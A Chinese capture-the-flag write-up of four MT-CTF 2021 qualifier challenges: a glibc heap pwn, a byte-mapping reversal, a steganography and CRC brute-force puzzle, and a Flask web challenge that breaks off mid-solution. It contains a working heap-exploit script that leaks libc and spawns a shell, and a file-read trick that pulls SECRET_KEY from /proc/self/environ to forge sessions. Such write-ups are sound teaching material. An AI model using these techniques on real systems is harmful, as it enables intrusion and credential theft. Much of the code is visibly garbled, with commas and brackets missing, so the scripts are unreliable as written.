高校挑战赛 | MT-CTF线上初赛WriteUp

百家 作者:美团安全应急响应中心 2021-12-16 20:14:23

美团网络安全高校挑战赛MT-CTF初赛已于上周六结束,我们精选了4道赛题的解题思路,和大家一起学习~



Pwn:blindbox

分析过程

分析程序可以发现第一部分mmap出来的内存可以用来构造堆布局,因为这块内存的地址是能够知道的,并且在程序开始能够写入一些内容。

程序程序在正常分配堆块时能够分配的大小只有三种,并且是通过calloc分配,也就是不从tcache中取堆块。但是有一次malloc的机会,因此可以利用这次malloc从tcache取堆块。

漏洞可以进行uaf,在堆块释放后仍可以编辑和查看。但是在查看进行了过滤,不能输出带有0x7f的内容,因此这就增大了直接泄露libc地址的难度。

利用流程,先布置合适的布局,修改small bin让其bk指向mmap内存的fake chunk,通过calloc不从tcache中取堆块的特征利用Tcache Stash Unlink将fake chunk放到tcache中,利用仅有的一次malloc分配得到fake chunk,继续布置新的堆布局。再利用一次Tcache Stash Unlink在偏移三字节的地方写入一个libc地址,然后就可以输出不带0x7f的libc地址了。有了libc地址再玩一个猜数字的游戏就可以get shell。

exp.py

#encoding:utf-8
from pwn import *

pwn_file = './ld-2.31.so --library-path ./ ./Blindbox'
p = process(pwn_file.split())
#context.log_level = 'debug'
libc = ELF('./libc-2.31.so')

p.recvuntil(b"Please tell me your name:\n")
p.send(p64(0) + p64(0x66666000-0x8) + p64(0) + p64(0))
p.recvuntil(b"lucky number?\n")
p.sendline(str(0x90).encode())
p.recvuntil(b"lucky number?\n")
p.sendline(str(0xa0).encode())
p.recvuntil(b"lucky number?\n")
p.sendline(str(0x140).encode())
randNum = [18042893838469308861681692777171463691519577477934242383357198853861649760492]

def add(idx, num):
    p.recvuntil(b">> ")
    p.sendline(b'1')
    p.recvuntil(b"want to choose\n")
    p.sendline(str(num).encode())
    p.recvuntil(b"Blindbox(1-3):")
    p.sendline(str(idx).encode())

def dele(idx):
    p.recvuntil(b">> ")
    p.sendline(b'2')
    p.recvuntil(b"Which index do you want to drop?\n")
    p.sendline(str(idx).encode())

def show(idx):
    p.recvuntil(b">> ")
    p.sendline(b'3')
    p.recvuntil(b"want to open?\n")
    p.sendline(str(idx).encode())

def edit(idx, content):
    p.recvuntil(b">> ")
    p.sendline(b'4')
    p.recvuntil(b"want to change?\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"New content:\n")
    p.send(content)

def wish(content):
    p.recvuntil(b">> ")
    p.sendline(b'5')
    p.recvuntil(b"your wish: ")
    p.send(content)

def pay(key):
    p.recvuntil(b">> ")
    p.sendline(b'6')
    for i in range(8):
        p.recvuntil(b"Please guess>")
        p.sendline(str(randNum[i]^key).encode())
    
for i in range(4):
    add(11)
    dele(1)
for i in range(7):
    add(10x3)
    dele(1)
    add(10x2)
    dele(1)

add(13)
add(22)
dele(1)
add(12)

add(13)
add(22)
dele(1
add(12)

add(1,2)
add(3,2)
dele(3)
dele(1)

add(13)
add(23)
dele(1)
add(1,2)
add(1,2)

edit(3, p64(0) + p64(0x66666000 - 0x10))
add(11)
payload =  p64(0xaf) + p64(0) + p64(0x66666008
payload += p64(0x66666008 - 0x10) + p64(0x66666008 - 0x10 + 3) + p64(0)
payload += b'\x00' * 0x60
wish(payload)

add(11)
show(1)
p.recvuntil(b'Blindbox: \x00\x00\x00')
main_arena = u64((p.recv(5) + b'\x7f').ljust(8b'\x00'))
libc_base = main_arena - 0x1EBC70
print(hex(libc_base))
key = libc_base + libc.sym['system']
pay(key)

p.interactive()



Re:superflat

分析过程

将二进制文件作为一个输入输出的黑盒进行分析。

输入一系列的字符观察输出。

可以很明显的看见,各字节的输入输出映射都是独立的。因此我们可以对输入至输出建立一个映射关系,写一个python脚本运行,提取出部分可见字符的映射关系,如下。


编写脚本将最初提供的output里的加密数据映射回输入即可。

exp.py

import string

# 0123456789abcdefghijklmnopqrstuvwxyz-{}
map_table = [
    [0x40,0xce,0x45,0xbf,0x89,0x2d,0x1b,0xb4,0x26,0x9e,0x09,0x54,0xcc,0xa8,0x23,0x32,0x83,0xc7,0x21,0xaa,0xd3,0x90,0x02,0xbd,0xe2,0xbb,0xc3,0x36,0x51,0x7e,0x76,0x96,0xfc,0xe4,0x46,0xfc,0x44,0x8a,0x55,0x9d,0x3d,0x89,],
    [0x83,0x0d,0x86,0x7c,0x4a,0xee,0xd8,0x77,0xe5,0x5d,0xca,0x97,0x0f,0x6b,0xe0,0xf1,0x40,0x04,0xe2,0x69,0x10,0x53,0xc1,0x7e,0x21,0x78,0x00,0xf5,0x92,0xbd,0xb5,0x55,0x3f,0x27,0x85,0x3f,0x87,0x49,0x96,0x5e,0xfe,0x4a,],
    [0x67,0xe9,0x62,0x98,0xae,0x0a,0x3c,0x93,0x01,0xb9,0x2e,0x73,0xeb,0x8f,0x04,0x15,0xa4,0xe0,0x06,0x8d,0xf4,0xb7,0x25,0x9a,0xc5,0x9c,0xe4,0x11,0x76,0x59,0x51,0xb1,0xdb,0xc3,0x61,0xdb,0x63,0xad,0x72,0xba,0x1a,0xae,],
    [0x87,0x09,0x82,0x78,0x4e,0xea,0xdc,0x73,0xe1,0x59,0xce,0x93,0x0b,0x6f,0xe4,0xf5,0x44,0x00,0xe6,0x6d,0x14,0x57,0xc5,0x7a,0x25,0x7c,0x04,0xf1,0x96,0xb9,0xb1,0x51,0x3b,0x23,0x81,0x3b,0x83,0x4d,0x92,0x5a,0xfa,0x4e,],
    [0x5c,0xd2,0x59,0xa3,0x95,0x31,0x07,0xa8,0x3a,0x82,0x15,0x48,0xd0,0xb4,0x3f,0x2e,0x9f,0xdb,0x3d,0xb6,0xcf,0x8c,0x1e,0xa1,0xfe,0xa7,0xdf,0x2a,0x4d,0x62,0x6a,0x8a,0xe0,0xf8,0x5a,0xe0,0x58,0x96,0x49,0x81,0x21,0x95,],
    [0xd2,0x5c,0xd7,0x2d,0x1b,0xbf,0x89,0x26,0xb4,0x0c,0x9b,0xc6,0x5e,0x3a,0xb1,0xa0,0x11,0x55,0xb3,0x38,0x41,0x02,0x90,0x2f,0x70,0x29,0x51,0xa4,0xc3,0xec,0xe4,0x04,0x6e,0x76,0xd4,0x6e,0xd6,0x18,0xc7,0x0f,0xaf,0x1b,],
    [0x41,0xcf,0x44,0xbe,0x88,0x2c,0x1a,0xb5,0x27,0x9f,0x08,0x55,0xcd,0xa9,0x22,0x33,0x82,0xc6,0x20,0xab,0xd2,0x91,0x03,0xbc,0xe3,0xba,0xc2,0x37,0x50,0x7f,0x77,0x97,0xfd,0xe5,0x47,0xfd,0x45,0x8b,0x54,0x9c,0x3c,0x88,],
    [0xde,0x50,0xdb,0x21,0x17,0xb3,0x85,0x2a,0xb8,0x00,0x97,0xca,0x52,0x36,0xbd,0xac,0x1d,0x59,0xbf,0x34,0x4d,0x0e,0x9c,0x23,0x7c,0x25,0x5d,0xa8,0xcf,0xe0,0xe8,0x08,0x62,0x7a,0xd8,0x62,0xda,0x14,0xcb,0x03,0xa3,0x17,],
    [0x43,0xcd,0x46,0xbc,0x8a,0x2e,0x18,0xb7,0x25,0x9d,0x0a,0x57,0xcf,0xab,0x20,0x31,0x80,0xc4,0x22,0xa9,0xd0,0x93,0x01,0xbe,0xe1,0xb8,0xc0,0x35,0x52,0x7d,0x75,0x95,0xff,0xe7,0x45,0xff,0x47,0x89,0x56,0x9e,0x3e,0x8a,],
    [0x56,0xd8,0x53,0xa9,0x9f,0x3b,0x0d,0xa2,0x30,0x88,0x1f,0x42,0xda,0xbe,0x35,0x24,0x95,0xd1,0x37,0xbc,0xc5,0x86,0x14,0xab,0xf4,0xad,0xd5,0x20,0x47,0x68,0x60,0x80,0xea,0xf2,0x50,0xea,0x52,0x9c,0x43,0x8b,0x2b,0x9f,],
    [0xab,0x25,0xae,0x54,0x62,0xc6,0xf0,0x5f,0xcd,0x75,0xe2,0xbf,0x27,0x43,0xc8,0xd9,0x68,0x2c,0xca,0x41,0x38,0x7b,0xe9,0x56,0x09,0x50,0x28,0xdd,0xba,0x95,0x9d,0x7d,0x17,0x0f,0xad,0x17,0xaf,0x61,0xbe,0x76,0xd6,0x62,],
    [0xee,0x60,0xeb,0x11,0x27,0x83,0xb5,0x1a,0x88,0x30,0xa7,0xfa,0x62,0x06,0x8d,0x9c,0x2d,0x69,0x8f,0x04,0x7d,0x3e,0xac,0x13,0x4c,0x15,0x6d,0x98,0xff,0xd0,0xd8,0x38,0x52,0x4a,0xe8,0x52,0xea,0x24,0xfb,0x33,0x93,0x27,],
    [0xbf,0x31,0xba,0x40,0x76,0xd2,0xe4,0x4b,0xd9,0x61,0xf6,0xab,0x33,0x57,0xdc,0xcd,0x7c,0x38,0xde,0x55,0x2c,0x6f,0xfd,0x42,0x1d,0x44,0x3c,0xc9,0xae,0x81,0x89,0x69,0x03,0x1b,0xb9,0x03,0xbb,0x75,0xaa,0x62,0xc2,0x76,],
    [0x07,0x89,0x02,0xf8,0xce,0x6a,0x5c,0xf3,0x61,0xd9,0x4e,0x13,0x8b,0xef,0x64,0x75,0xc4,0x80,0x66,0xed,0x94,0xd7,0x45,0xfa,0xa5,0xfc,0x84,0x71,0x16,0x39,0x31,0xd1,0xbb,0xa3,0x01,0xbb,0x03,0xcd,0x12,0xda,0x7a,0xce,],
    [0x09,0x87,0x0c,0xf6,0xc0,0x64,0x52,0xfd,0x6f,0xd7,0x40,0x1d,0x85,0xe1,0x6a,0x7b,0xca,0x8e,0x68,0xe3,0x9a,0xd9,0x4b,0xf4,0xab,0xf2,0x8a,0x7f,0x18,0x37,0x3f,0xdf,0xb5,0xad,0x0f,0xb5,0x0d,0xc3,0x1c,0xd4,0x74,0xc0,],
    [0x77,0xf9,0x72,0x88,0xbe,0x1a,0x2c,0x83,0x11,0xa9,0x3e,0x63,0xfb,0x9f,0x14,0x05,0xb4,0xf0,0x16,0x9d,0xe4,0xa7,0x35,0x8a,0xd5,0x8c,0xf4,0x01,0x66,0x49,0x41,0xa1,0xcb,0xd3,0x71,0xcb,0x73,0xbd,0x62,0xaa,0x0a,0xbe,],
    [0xc1,0x4f,0xc4,0x3e,0x08,0xac,0x9a,0x35,0xa7,0x1f,0x88,0xd5,0x4d,0x29,0xa2,0xb3,0x02,0x46,0xa0,0x2b,0x52,0x11,0x83,0x3c,0x63,0x3a,0x42,0xb7,0xd0,0xff,0xf7,0x17,0x7d,0x65,0xc7,0x7d,0xc5,0x0b,0xd4,0x1c,0xbc,0x08,],
    [0x01,0x8f,0x04,0xfe,0xc8,0x6c,0x5a,0xf5,0x67,0xdf,0x48,0x15,0x8d,0xe9,0x62,0x73,0xc2,0x86,0x60,0xeb,0x92,0xd1,0x43,0xfc,0xa3,0xfa,0x82,0x77,0x10,0x3f,0x37,0xd7,0xbd,0xa5,0x07,0xbd,0x05,0xcb,0x14,0xdc,0x7c,0xc8,],
    [0xbd,0x33,0xb8,0x42,0x74,0xd0,0xe6,0x49,0xdb,0x63,0xf4,0xa9,0x31,0x55,0xde,0xcf,0x7e,0x3a,0xdc,0x57,0x2e,0x6d,0xff,0x40,0x1f,0x46,0x3e,0xcb,0xac,0x83,0x8b,0x6b,0x01,0x19,0xbb,0x01,0xb9,0x77,0xa8,0x60,0xc0,0x74,],
    [0x46,0xc8,0x43,0xb9,0x8f,0x2b,0x1d,0xb2,0x20,0x98,0x0f,0x52,0xca,0xae,0x25,0x34,0x85,0xc1,0x27,0xac,0xd5,0x96,0x04,0xbb,0xe4,0xbd,0xc5,0x30,0x57,0x78,0x70,0x90,0xfa,0xe2,0x40,0xfa,0x42,0x8c,0x53,0x9b,0x3b,0x8f,],
    [0x3b,0xb5,0x3e,0xc4,0xf2,0x56,0x60,0xcf,0x5d,0xe5,0x72,0x2f,0xb7,0xd3,0x58,0x49,0xf8,0xbc,0x5a,0xd1,0xa8,0xeb,0x79,0xc6,0x99,0xc0,0xb8,0x4d,0x2a,0x05,0x0d,0xed,0x87,0x9f,0x3d,0x87,0x3f,0xf1,0x2e,0xe6,0x46,0xf2,],
    [0x14,0x9a,0x11,0xeb,0xdd,0x79,0x4f,0xe0,0x72,0xca,0x5d,0x00,0x98,0xfc,0x77,0x66,0xd7,0x93,0x75,0xfe,0x87,0xc4,0x56,0xe9,0xb6,0xef,0x97,0x62,0x05,0x2a,0x22,0xc2,0xa8,0xb0,0x12,0xa8,0x10,0xde,0x01,0xc9,0x69,0xdd,],
    [0x78,0xf6,0x7d,0x87,0xb1,0x15,0x23,0x8c,0x1e,0xa6,0x31,0x6c,0xf4,0x90,0x1b,0x0a,0xbb,0xff,0x19,0x92,0xeb,0xa8,0x3a,0x85,0xda,0x83,0xfb,0x0e,0x69,0x46,0x4e,0xae,0xc4,0xdc,0x7e,0xc4,0x7c,0xb2,0x6d,0xa5,0x05,0xb1,],
    [0xdb,0x55,0xde,0x24,0x12,0xb6,0x80,0x2f,0xbd,0x05,0x92,0xcf,0x57,0x33,0xb8,0xa9,0x18,0x5c,0xba,0x31,0x48,0x0b,0x99,0x26,0x79,0x20,0x58,0xad,0xca,0xe5,0xed,0x0d,0x67,0x7f,0xdd,0x67,0xdf,0x11,0xce,0x06,0xa6,0x12,],
    [0xec,0x62,0xe9,0x13,0x25,0x81,0xb7,0x18,0x8a,0x32,0xa5,0xf8,0x60,0x04,0x8f,0x9e,0x2f,0x6b,0x8d,0x06,0x7f,0x3c,0xae,0x11,0x4e,0x17,0x6f,0x9a,0xfd,0xd2,0xda,0x3a,0x50,0x48,0xea,0x50,0xe8,0x26,0xf9,0x31,0x91,0x25,],
    [0x15,0x9b,0x10,0xea,0xdc,0x78,0x4e,0xe1,0x73,0xcb,0x5c,0x01,0x99,0xfd,0x76,0x67,0xd6,0x92,0x74,0xff,0x86,0xc5,0x57,0xe8,0xb7,0xee,0x96,0x63,0x04,0x2b,0x23,0xc3,0xa9,0xb1,0x13,0xa9,0x11,0xdf,0x00,0xc8,0x68,0xdc,],
    [0xe7,0x69,0xe2,0x18,0x2e,0x8a,0xbc,0x13,0x81,0x39,0xae,0xf3,0x6b,0x0f,0x84,0x95,0x24,0x60,0x86,0x0d,0x74,0x37,0xa5,0x1a,0x45,0x1c,0x64,0x91,0xf6,0xd9,0xd1,0x31,0x5b,0x43,0xe1,0x5b,0xe3,0x2d,0xf2,0x3a,0x9a,0x2e,],
    [0x04,0x8a,0x01,0xfb,0xcd,0x69,0x5f,0xf0,0x62,0xda,0x4d,0x10,0x88,0xec,0x67,0x76,0xc7,0x83,0x65,0xee,0x97,0xd4,0x46,0xf9,0xa6,0xff,0x87,0x72,0x15,0x3a,0x32,0xd2,0xb8,0xa0,0x02,0xb8,0x00,0xce,0x11,0xd9,0x79,0xcd,],
    [0xcb,0x45,0xce,0x34,0x02,0xa6,0x90,0x3f,0xad,0x15,0x82,0xdf,0x47,0x23,0xa8,0xb9,0x08,0x4c,0xaa,0x21,0x58,0x1b,0x89,0x36,0x69,0x30,0x48,0xbd,0xda,0xf5,0xfd,0x1d,0x77,0x6f,0xcd,0x77,0xcf,0x01,0xde,0x16,0xb6,0x02,],
    [0xd6,0x58,0xd3,0x29,0x1f,0xbb,0x8d,0x22,0xb0,0x08,0x9f,0xc2,0x5a,0x3e,0xb5,0xa4,0x15,0x51,0xb7,0x3c,0x45,0x06,0x94,0x2b,0x74,0x2d,0x55,0xa0,0xc7,0xe8,0xe0,0x00,0x6a,0x72,0xd0,0x6a,0xd2,0x1c,0xc3,0x0b,0xab,0x1f,],
    [0xd9,0x57,0xdc,0x26,0x10,0xb4,0x82,0x2d,0xbf,0x07,0x90,0xcd,0x55,0x31,0xba,0xab,0x1a,0x5e,0xb8,0x33,0x4a,0x09,0x9b,0x24,0x7b,0x22,0x5a,0xaf,0xc8,0xe7,0xef,0x0f,0x65,0x7d,0xdf,0x65,0xdd,0x13,0xcc,0x04,0xa4,0x10,],
    [0x7c,0xf2,0x79,0x83,0xb5,0x11,0x27,0x88,0x1a,0xa2,0x35,0x68,0xf0,0x94,0x1f,0x0e,0xbf,0xfb,0x1d,0x96,0xef,0xac,0x3e,0x81,0xde,0x87,0xff,0x0a,0x6d,0x42,0x4a,0xaa,0xc0,0xd8,0x7a,0xc0,0x78,0xb6,0x69,0xa1,0x01,0xb5,],
    [0xb1,0x3f,0xb4,0x4e,0x78,0xdc,0xea,0x45,0xd7,0x6f,0xf8,0xa5,0x3d,0x59,0xd2,0xc3,0x72,0x36,0xd0,0x5b,0x22,0x61,0xf3,0x4c,0x13,0x4a,0x32,0xc7,0xa0,0x8f,0x87,0x67,0x0d,0x15,0xb7,0x0d,0xb5,0x7b,0xa4,0x6c,0xcc,0x78,],
    [0xf8,0x76,0xfd,0x07,0x31,0x95,0xa3,0x0c,0x9e,0x26,0xb1,0xec,0x74,0x10,0x9b,0x8a,0x3b,0x7f,0x99,0x12,0x6b,0x28,0xba,0x05,0x5a,0x03,0x7b,0x8e,0xe9,0xc6,0xce,0x2e,0x44,0x5c,0xfe,0x44,0xfc,0x32,0xed,0x25,0x85,0x31,],
    [0xf2,0x7c,0xf7,0x0d,0x3b,0x9f,0xa9,0x06,0x94,0x2c,0xbb,0xe6,0x7e,0x1a,0x91,0x80,0x31,0x75,0x93,0x18,0x61,0x22,0xb0,0x0f,0x50,0x09,0x71,0x84,0xe3,0xcc,0xc4,0x24,0x4e,0x56,0xf4,0x4e,0xf6,0x38,0xe7,0x2f,0x8f,0x3b,],
    [0x9e,0x10,0x9b,0x61,0x57,0xf3,0xc5,0x6a,0xf8,0x40,0xd7,0x8a,0x12,0x76,0xfd,0xec,0x5d,0x19,0xff,0x74,0x0d,0x4e,0xdc,0x63,0x3c,0x65,0x1d,0xe8,0x8f,0xa0,0xa8,0x48,0x22,0x3a,0x98,0x22,0x9a,0x54,0x8b,0x43,0xe3,0x57,],
    [0x9c,0x12,0x99,0x63,0x55,0xf1,0xc7,0x68,0xfa,0x42,0xd5,0x88,0x10,0x74,0xff,0xee,0x5f,0x1b,0xfd,0x76,0x0f,0x4c,0xde,0x61,0x3e,0x67,0x1f,0xea,0x8d,0xa2,0xaa,0x4a,0x20,0x38,0x9a,0x20,0x98,0x56,0x89,0x41,0xe1,0x55,],
    [0x65,0xeb,0x60,0x9a,0xac,0x08,0x3e,0x91,0x03,0xbb,0x2c,0x71,0xe9,0x8d,0x06,0x17,0xa6,0xe2,0x04,0x8f,0xf6,0xb5,0x27,0x98,0xc7,0x9e,0xe6,0x13,0x74,0x5b,0x53,0xb3,0xd9,0xc1,0x63,0xd9,0x61,0xaf,0x70,0xb8,0x18,0xac,],
    [0xbb,0x35,0xbe,0x44,0x72,0xd6,0xe0,0x4f,0xdd,0x65,0xf2,0xaf,0x37,0x53,0xd8,0xc9,0x78,0x3c,0xda,0x51,0x28,0x6b,0xf9,0x46,0x19,0x40,0x38,0xcd,0xaa,0x85,0x8d,0x6d,0x07,0x1f,0xbd,0x07,0xbf,0x71,0xae,0x66,0xc6,0x72,]
]
plantext_table = string.digits + string.ascii_lowercase + "-{}"
enc = [
    0x77,0x9a,0xae,0x3e,0xac,0x6a,0x1b,0xb5,0x11,0x9e,0xa7,0xab,0x33,0x74,0x35,0xf5,0xca,0xc7,0xfd,0xbc,0x2c,0x02,0xac,0x61,0x21,0xba,0x00,0x7f,0x8d,0x37,0xb5,0x8a,0xfd,0xf8,0x85,0x62,0x45,0xcd,0x92,0x8b,0xaf,0x72
]
flag = ""
for i in range(len(enc)):
    for n in range(len(map_table)):
        if enc[i] == map_table[n][i]:
            flag += plantext_table[n]
print(flag)



Misc: Boom

KeePass加密

识别Database文件

访问https://keepass.info/ 下载keepass,空密码查看


得到:kqucm2u2ZIrq4DLyER2C

解压压缩包,得到一张图片,有个压缩包,rar格式的,但是文件头被抹掉了,复原一下,补上52617221


把压缩包提出来,然后把图片中压缩包地方给删掉。

stegpy隐写爆破

通过stegsolve可以确定是颜色通道最低两位的隐写,而stegpy则是这种隐写方式。


解密需要密码,可以写脚本交互爆破,同时根据图片名boom,也联想到爆破。

#!/usr/bin/env python3

# Module for processing images, audios and the least significant bits.

import numpy
from PIL import Image
from . import crypt

MAGIC_NUMBER = b'stegv3'

class HostElement:
    """ This class holds information about a host element. """
    def __init__(self, filename):
        self.filename = filename
        self.format = filename[-3:]
        self.header, self.data = get_file(filename)

    def save(self):
        self.filename = '_' + self.filename
        if self.format.lower() == 'wav':
            sound = numpy.concatenate((self.header, self.data))
            sound.tofile(self.filename)
        elif self.format.lower() == 'gif':
            gif = []
            for frame, palette in zip(self.data, self.header[0]):
                image = Image.fromarray(frame)
                image.putpalette(palette)
                gif.append(image)
            gif[0].save(self.filename, save_all=True, append_images = gif[1:], loop=0, duration=self.header[1])
        else:
            if not self.filename.lower().endswith(('png''bmp''webp')):
                print("Host has a lossy format and will be converted to PNG.")
                self.filename = self.filename[:-3] + 'png'
            image = Image.fromarray(self.data)
            image.save(self.filename, lossless=True, minimize_size=True, optimize=True)
        print("Information encoded in {}.".format(self.filename))
    
    def insert_message(self, message, bits=2, parasite_filename=None, password=None):
        raw_message_len = len(message).to_bytes(4'big')
        formatted_message = format_message(message, raw_message_len, parasite_filename)
        if password:
            formatted_message = crypt.encrypt_info(password, formatted_message)
        self.data = encode_message(self.data, formatted_message, bits)
    
    def read_message(self, password=None):
        msg = decode_message(self.data)
        
        if password:
            try:
                salt = bytes(msg[:16])
                msg = crypt.decrypt_info(password, bytes(msg[16:]), salt)
            except:
                return("Wrong password.")
    
        check_magic_number(msg)
        msg_len = int.from_bytes(bytes(msg[6:10]), 'big')
        filename_len = int.from_bytes(bytes(msg[10:11]), 'big')
    
        start = filename_len + 11
        end = start + msg_len
        end_filename = filename_len + 11
        if(filename_len > 0):
            filename = '_' + bytes(msg[11:end_filename]).decode('utf-8')
        
        else:
            text = bytes(msg[start:end]).decode('utf-8')
            print(text)
            return
    
        with open(filename, 'wb'as f:
            f.write(bytes(msg[start:end]))
    
        print('File {} succesfully extracted from {}'.format(filename, self.filename))
    
    def free_space(self, bits=2):
        shape = self.data.shape
        self.data.shape = -1
        free = self.data.size * bits // 8
        self.data.shape = shape
        self.free = free
        return free
    
    def print_free_space(self, bits=2):
        free = self.free_space(bits)
        print('File: {}, free: (bytes) {:,}, encoding: 4 bit'.format(self.filename, free, bits))

def get_file(filename):
    ''' Returns data from file in a list with the header and raw data. '''
    if filename.lower().endswith('wav'):
        content = numpy.fromfile(filename, dtype=numpy.uint8)
        content = content[:10000], content[10000:]
    elif filename.lower().endswith('gif'):
        image = Image.open(filename)
        frames = []
        palettes = []
        try:
            while True:
                frames.append(numpy.array(image))
                palettes.append(image.getpalette())
                image.seek(image.tell()+1)
        except EOFError:
            pass
        content = [palettes, image.info['duration']], numpy.asarray(frames)
    else:
        image = Image.open(filename)
        if image.mode != 'RGB':
            image = image.convert('RGB')
        content = None, numpy.array(image)
    return content

def format_message(message, msg_len, filename=None):
    if not filename: # text
        message = MAGIC_NUMBER + msg_len + (0).to_bytes(1'big') + message
    else:
        filename = filename.encode('utf-8')
        filename_len = len(filename).to_bytes(1'big')
        message = MAGIC_NUMBER + msg_len + filename_len + filename + message
    return message;

def encode_message(host_data, message, bits):
    ''' Encodes the byte array in the image numpy array. '''
    shape = host_data.shape
    host_data.shape = -1# convert to 1D
    uneven = 0
    divisor = 8 // bits

    print("Host dimension: {:,} bytes".format(host_data.size))
    print("Message size: {:,} bytes".format(len(message)))
    print("Maximum size: {:,} bytes".format(host_data.size // divisor))
    
    check_message_space(host_data.size // divisor, len(message))
     
    if(host_data.size % divisor != 0): # Hacky way to deal with pixel arrays that cannot be divided evenly
        uneven = 1
        original_size = host_data.size
        host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))
    
    msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)
    
    msg[:len(message)] = list(message)
    
    host_data[:divisor*len(message)] &= 256 - 2 ** bits # clear last bit(s)
    for i in range(divisor):
        host_data[i::divisor] |= msg >> bits*i & (2 ** bits - 1# copy bits to host_data
    
    operand = (0 if (bits == 1else (16 if (bits == 2else 32))
    host_data[0] = (host_data[0] & 207) | operand # 5th and 6th bits = log_2(bits)
    
    if uneven:
        host_data = numpy.resize(host_data, original_size)
    
    host_data.shape = shape # restore the 3D shape
    
    return host_data

def check_message_space(max_message_len, message_len):
    ''' Checks if there's enough space to write the message. '''
    if(max_message_len < message_len):
        print('You have too few colors to store that message. Aborting.')
        exit(-1)
    else:
        print('Ok.')

def decode_message(host_data):
    ''' Decodes the image numpy array into a byte array. '''
    host_data.shape = -1# convert to 1D
    bits = 2 ** ((host_data[0] & 48) >> 4# bits = 2 ^ (5th and 6th bits)    
    divisor = 8 // bits

    if(host_data.size % divisor != 0):
        host_data = numpy.resize(host_data, host_data.size + (divisor - host_data.size % divisor))
    
    msg = numpy.zeros(len(host_data) // divisor, dtype=numpy.uint8)
    
    for i in range(divisor):
        msg |= (host_data[i::divisor] & (2 ** bits - 1)) << bits*i
    
    return msg

def check_magic_number(msg):
    if bytes(msg[0:6]) != MAGIC_NUMBER:
        print(bytes(msg[:6]))
        print('ERROR! No encoded info found!')
        exit(-1)

if __name__ == '__main__':
    message = 'hello'.encode('utf-8')
    host = HostElement('gif.gif')
    host.insert_message(message, bits=4)
    host.save()

此脚本为原python库 stegpy脚本修改,主要改动读取隐写信息函数read_message一段,命名为lsb2.py,放在stegpy库目录下/usr/local/lib/python3.6/dist-packages/stegpy

网上找常见的弱口令字典进行爆破

#coding=utf-8
from stegpy import lsb2

host = lsb2.HostElement('flag.png')
dic = open('password1.txt').readlines()

for i in range(len(dic)):
    tmp = host.read_message(dic[i][:-1])
    if tmp != "Wrong password.":
        break
    else:
        print(i, dic[i][:-1])

爆破得到密码是123123@@@

隐写内容是783d793c313030

解开压缩包得到一张图片,无法正常观看。

crc校验

很明显是crc校验错误,爆破图片的正确宽高。

import zlib
import struct

filename = 'flag.png'
with open(filename, 'rb'as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095            #理论上0xffffffff,但考虑到屏幕实际/cpu,0x0fff就差不多了
    for w in range(n):          #高和宽一起爆破
        width = bytearray(struct.pack('>i', w))     #q为8字节,i为4字节,h为2字节
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("宽为:",end="")
                print(width)
                print("高为:",end="")
                print(height)
                exit(0)

得到正确宽高后,使用winhex修改后得到

一个明显置乱后的图像,存在很明显的阿诺德置乱特征:


其中x和y表示坐标,new表示变换以后的坐标,ori表示原始的坐标(original缩写),a和b是两个可选的参数,mod为求余数操作,N是图像的长或者宽,这里只考虑长度和宽度相等的图像,上式表示的就是“图像的坐标变换”。

有了加密变换,还需要使用对应的解密变换,也就是逆变换。逆变换就是“求矩阵的逆”,对2x2的矩阵求逆就能得到下面的逆变换矩阵:

Arnold置乱算法

谷歌上搜置乱算法可以搜到一个叫做Arnold(阿诺德)置乱法的方法,之前得到的隐写内容783d793c313030转字符串为x=y<100,第一个参数可以通过增大还原次数,后两个参数需要根据提示爆破。


原理的的学习文章:https://blog.csdn.net/qq_33472557/article/details/79668662

https://en.wikipedia.org/wiki/Arnold%27s_cat_map

所需库先自行安装

pip3 install numpy
pip3 install opencv-python
pip3 install matplotlib
pip3 install *scikit-image*

根据提示x=y<100,编写解密脚本

import numpy as np
import matplotlib.pyplot
from skimage.io import imread, imshow
import time
import math
import cv2

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
                new_y = ((-a)*ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
    cv2.imshow("image",decode_image)
    cv2.waitKey(10)
    cv2.imwrite(i,decode_image)
    return decode_image
final = imread('flag.png')

for z in range(0,100):
    i = str(z) + '.png'
    arnold_decode(final, 10, z,z)

爆破到30时得到flag



Web: EasySQL


题目是刚开始是一个登录页面:

可以选择注册,随便注册一个用户后登录进去:


在注册的时候发现注册不了 admin 用户,可以猜测 admin 用户已经存在,尝试弱口令 admin/admin 成功登录 admin:

发现此时 home page 中的 profiles 的内容不一样了,我们可以猜测到源码根据登陆的用户名在数据库中查询不同的profiles。


我们查看并解密 flask session,得到如下内容:

.eJwdzEEOwjAMRNGrWF5XHKA7jhKoGxu1cWVPhCrE3UnZ_tG8D1tuXq3xjOgy8WFPnvlRWpO4vY7KI4WvtkmOfl92a5aIAg_qKTHR26AEFVKrKgkqHephOAn-H_JMyD6k6zCUcin8_QG_kSwq.YZCOdg.76OBKiZRQkFj4EzAiF9ymsPKp2M

可以在解密后的session中看到几个主要的属性,其中就有user和profiles,我们猜测这里的 user 可能会存在sql注入,通过在user属性处设置payload来对mysql进行注入。

但是要从session里进行注入必须先成功伪造session,也就是说必须先获取到 session SECRET_KEY。

我们看到,sesison中还有一个属性 pic,标志了home page中显示的图片,并且我们查看源码可以看到图片是通过base64的形式显示的,而且还加载了一个 images.js:


查看 images.js的代码:

$(document).ready(function ({
    var datas = new Object();
    datas.islogin = true;
    datas.pic = "banner.jpg";
    var data = JSON.stringify(datas)

    $.ajax({
        url"/images",
        type"POST",
        data: data,
        successfunction (msg{
            if(location.href.indexOf("#reloaded")==-1){
                location.href=location.href+"#reloaded";
                location.reload();
            }
        }
    })
})

可以发现 home page 中的  images.js 是通过向 /images 路由发送 json 请求来设置显示的图片的,我们可以抓包来修改发送的 pic 从而实现任意文件读取。

如下抓包:

并将 pic 改为要读取的数据。这里我们尝试在 /proc/self/environ 中读取 SECRET_KEY:


